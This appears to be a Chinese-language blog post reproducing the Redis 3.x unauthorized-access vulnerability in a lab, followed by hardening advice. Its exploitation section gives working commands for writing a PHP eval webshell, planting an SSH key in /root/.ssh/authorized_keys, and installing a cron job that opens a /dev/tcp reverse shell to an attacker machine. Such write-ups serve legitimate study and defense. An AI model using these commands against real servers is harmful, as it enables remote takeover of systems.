Redis 3.x 未授权访问漏洞复现

tech2023-01-07  105

一、环境搭建

1、下载安装redis

wgethttp://download.redis.io/releases/redis-3.2.11.tar.gz

2、 解压压缩包

tarzxvfredis-3.2.11.tar.gz。

3、进入解压目录redis-3.2.11 执行make命令

4、 进入src目录 cd redis-3.2.11/src

5、将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)

返回目录redis-2.8.17,将redis.conf拷贝到/etc/目录下:

使用/etc/目录下的reids.conf文件中的配置启动redis服务:

6、编辑etc中的redis配置文件redis.conf

去掉ip绑定,允许除本地外的主机远程登录redis服务 前面加#注释掉

关闭保护模式,允许远程连接redis服务将yes 改为no

 


二、利用方式

写入webshell

测试目标靶机是否存在未授权访问,下面靶机存在未授权访问

1.远程连接redis

2.在靶机写入cs.php文件

我们将shell写入/home/ubuntus/cs目录下

save保存

 

3.在靶机查看,有cs.php文件,shell写入完成

如果写入网站服务的路径下,后续可以使用工具连接shell

这种方法适合非root权限,但需要对方有web服务。假设靶机里面存在WEB服务并且目录在 /var/www/ 中

config set dir /var/www/html

config set dbfilename webshell.php

set webshell "\n\n\n<?php @eval($_POST['c']);?>\n\n\n"

save

在靶机上查看,发现已经成功写入

                                                                               

蚂蚁剑连接


通过写入SSH公钥实现ssh登录

原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生一个授权的key

1、首先在攻击机(kali)上生成ssh公钥

进入.ssh目录:cd.ssh/

2.将公钥写入key.txt文件(前后用\n换行,避免和redis里其他缓存数据混合)

(echo -e "/n/n";cat ~/.ssh/id_rsa.pub;echo -e "\n\n" ) > /tmp/text.txt

3.将key.txt写靶机(使用redis-cli -h ip命令连接靶机,写入文件)

cat /tmp/text.txt | /usr/redis/redis-cli -h 192.168.22.54 -p 6379 -x set crackit

4.远程登录靶机的Redis服务,redis-cli -h 192.168.70.140

5.更改redis备份路径为ssh公钥存放目录

6.设置上传公钥的备份文件名字为authorized_keys

save保存

/usr/redis/redis-cli -h 192.168.22.54 -p 6379

config set dir /root/.ssh/

config get dir

config set dbfilename "authorized_keys"

save

7.在攻击机上直接ssh免密登录靶机,免密登录成功


 

nc反弹

目标计为centos

在攻击机(kali)执行 nc -v -l -p 4445 监听  

kali主机:192.168.22.34

连接目标主机:redis-cli -h 192.168.22.54

写入shell并保存

set xxx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.22.34/4445 0>&1\n\n"

config set dir /var/spool/cron

config set dbfilename root

save

客户端会收到目标机的反弹shell。

**在ubuntu测试计划任务写入成功但不执行

config set dir /var/spool/cron/ //配置文件夹的路径(CONFIG SET 命令可以动态地调整 Redis 服务器的配置而(configuration)而无须重启。)//每个用户生成的crontab文件,都会放在 /var/spool/cron/ 目录下面

set xxx “\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.70.140/9999 0>&1\n\n”

//直接往当前用户的crontab里写入反弹shell,换行也是必须的

三、修复建议

1.禁止一些高危命令

2.以低权限运行 Redis 服务

3.禁止外网访问 Redis

禁止一些高危命令(重启redis才能生效)

修改 redis.conf 文件,禁用远程修改 DB 文件地址

rename-command FLUSHALL ""

rename-command CONFIG ""

rename-command EVAL ""

或者通过修改redis.conf文件,改变这些高危命令的名称

rename-command FLUSHALL "name1"

rename-command CONFIG "name2"

rename-command EVAL "name3"

以低权限运行 Redis 服务(重启redis才能生效)

为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆

groupadd -r redis && useradd -r -g redis redis

为 Redis 添加密码验证(重启redis才能生效)

修改 redis.conf 文件,添加

requirepass mypassword

禁止外网访问 Redis(重启redis才能生效)

修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用

bind 127.0.0.1

在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错

修改默认端口

修改配置文件redis.conf文件

Port 6379

默认端口是6379,可以改变成其他端口(不要冲突就好)

保证 authorized_keys 文件的安全

为了保证安全,您应该阻止其他用户添加新的公钥。

将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:

chmod 400 ~/.ssh/authorized_keys

为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:

chattr +i ~/.ssh/authorized_keys

然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 权限:

chattr +i ~/.ssh

设置防火墙策略

// accept

 

# iptables -A INPUT -p tcp -s 127.0.0.1 --dport 6379 -j ACCEPT

 

# iptables -A INPUT -p udp -s 127.0.0.1 --dport 6379 -j ACCEPT

 

// drop

 

# iptables -I INPUT -p tcp --dport 6379 -j DROP

 

# iptables -I INPUT -p udp --dport 6379 -j DROP

 

// 保存规则并重启 iptables

 

# service iptables save

 

# service iptables restart

 

 

最新回复(0)